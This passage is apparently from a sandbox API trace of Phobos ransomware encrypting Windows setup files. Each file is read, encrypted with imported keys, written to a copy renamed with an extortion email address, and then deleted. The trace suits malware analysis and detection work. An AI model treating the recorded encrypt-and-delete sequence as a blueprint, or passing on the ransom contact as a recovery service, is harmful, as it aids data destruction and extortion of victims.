dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0046.889] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cf70) returned 1 [0046.889] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0046.889] ReadFile (in: hFile=0x314, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x4a, lpOverlapped=0x0) returned 1 [0046.890] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50, dwBufLen=0x50 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50) returned 1 [0046.890] WriteFile (in: hFile=0x308, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x50, lpOverlapped=0x0) returned 1 [0046.894] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d170) returned 1 [0046.894] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0046.894] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x40, dwBufLen=0x40 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x40) returned 1 [0046.894] CryptDestroyKey (hKey=0x10d170) returned 1 [0046.894] WriteFile (in: hFile=0x308, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0xf2, lpOverlapped=0x0) returned 1 [0046.894] CryptDestroyKey (hKey=0x10cf70) returned 1 [0046.894] CloseHandle (hObject=0x314) returned 1 [0046.894] CloseHandle (hObject=0x308) returned 1 [0046.895] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1 [0046.896] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0046.896] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.124] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=307) returned 1 [0047.124] CloseHandle (hObject=0x318) returned 1 [0047.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20 [0047.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.124] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.125] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0047.125] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0047.125] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.125] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10ce70) returned 1 [0047.125] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0047.125] ReadFile (in: hFile=0x318, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x133, lpOverlapped=0x0) returned 1 [0047.126] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x140, dwBufLen=0x140 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x140) returned 1 [0047.126] WriteFile (in: hFile=0x310, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x140, lpOverlapped=0x0) returned 1 [0047.208] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10ccb0) returned 1 [0047.208] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0047.208] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50, dwBufLen=0x50 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50) returned 1 [0047.208] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0047.208] WriteFile (in: hFile=0x310, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x102, lpOverlapped=0x0) returned 1 [0047.209] CryptDestroyKey (hKey=0x10ce70) returned 1 [0047.209] CloseHandle (hObject=0x318) returned 1 [0047.209] CloseHandle (hObject=0x310) returned 1 [0047.210] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1 [0047.211] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0047.211] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.211] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=18264) returned 1 [0047.211] CloseHandle (hObject=0x310) returned 1 [0047.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80 [0047.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.211] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.211] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0047.211] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0047.211] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.213] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cb70) returned 1 [0047.213] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0047.213] ReadFile (in: hFile=0x310, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x4758, lpOverlapped=0x0) returned 1 [0047.214] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x4760, dwBufLen=0x4760 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x4760) returned 1 [0047.214] WriteFile (in: hFile=0x318, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x4760, lpOverlapped=0x0) returned 1 [0047.216] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10ceb0) returned 1 [0047.216] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0047.216] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50, dwBufLen=0x50 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50) returned 1 [0047.216] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0047.216] WriteFile (in: hFile=0x318, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x102, lpOverlapped=0x0) returned 1 [0047.216] CryptDestroyKey (hKey=0x10cb70) returned 1 [0047.216] CloseHandle (hObject=0x310) returned 1 [0047.216] CloseHandle (hObject=0x318) returned 1 [0047.217] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 1 [0047.218] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0047.218] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.218] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=18776) returned 1 [0047.218] CloseHandle (hObject=0x318) returned 1 [0047.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80 [0047.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.218] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.219] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0047.219] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0047.219] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.220] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cef0) returned 1 [0047.220] CryptSetKeyParam (hKey=0x10cef0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0047.220] ReadFile (in: hFile=0x318, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x4958, lpOverlapped=0x0) returned 1 [0047.222] CryptEncrypt (in: hKey=0x10cef0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x4960, dwBufLen=0x4960 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x4960) returned 1 [0047.222] WriteFile (in: hFile=0x310, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x4960, lpOverlapped=0x0) returned 1 [0047.223] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cb70) returned 1 [0047.223] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0047.223] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50, dwBufLen=0x50 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50) returned 1 [0047.223] CryptDestroyKey (hKey=0x10cb70) returned 1 [0047.223] WriteFile (in: hFile=0x310, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x102, lpOverlapped=0x0) returned 1 [0047.223] CryptDestroyKey (hKey=0x10cef0) returned 1 [0047.223] CloseHandle (hObject=0x318) returned 1 [0047.223] CloseHandle (hObject=0x310) returned 1 [0047.224] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 1 [0047.225] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0047.225] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0047.581] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=16728) returned 1 [0047.581] CloseHandle (hObject=0x324) returned 1 [0047.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80 [0047.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.581] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0047.582] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0047.582] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0047.582] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.582] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10d0f0) returned 1 [0047.582] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0047.582] ReadFile (in: hFile=0x324, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x4158, lpOverlapped=0x0) returned 1 [0047.707] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x4160, dwBufLen=0x4160 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x4160) returned 1 [0047.707] WriteFile (in: hFile=0x308, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x4160, lpOverlapped=0x0) returned 1 [0047.708] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d170) returned 1 [0047.708] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0047.708] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50, dwBufLen=0x50 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50) returned 1 [0047.708] CryptDestroyKey (hKey=0x10d170) returned 1 [0047.708] WriteFile (in: hFile=0x308, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x102, lpOverlapped=0x0) returned 1 [0047.708] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0047.708] CloseHandle (hObject=0x324) returned 1 [0047.709] CloseHandle (hObject=0x308) returned 1 [0047.710] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 1 [0047.711] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0047.711] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.711] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=17752) returned 1 [0047.711] CloseHandle (hObject=0x308) returned 1 [0047.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80 [0047.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.711] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.711] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0047.711] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0047.711] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.714] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10ca70) returned 1 [0047.714] CryptSetKeyParam (hKey=0x10ca70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0047.714] ReadFile (in: hFile=0x308, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x4558, lpOverlapped=0x0) returned 1 [0047.716] CryptEncrypt (in: hKey=0x10ca70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x4560, dwBufLen=0x4560 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x4560) returned 1 [0047.716] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x4560, lpOverlapped=0x0) returned 1 [0047.717] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cff0) returned 1 [0047.717] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0047.718] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50, dwBufLen=0x50 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50) returned 1 [0047.718] CryptDestroyKey (hKey=0x10cff0) returned 1 [0047.718] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x102, lpOverlapped=0x0) returned 1 [0047.718] CryptDestroyKey (hKey=0x10ca70) returned 1 [0047.718] CloseHandle (hObject=0x308) returned 1 [0047.718] CloseHandle (hObject=0x304) returned 1 [0047.719] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 1 [0047.720] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0047.720] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.720] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=18264) returned 1 [0047.720] CloseHandle (hObject=0x304) returned 1 [0047.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80 [0047.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.720] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.720] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0047.720] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, 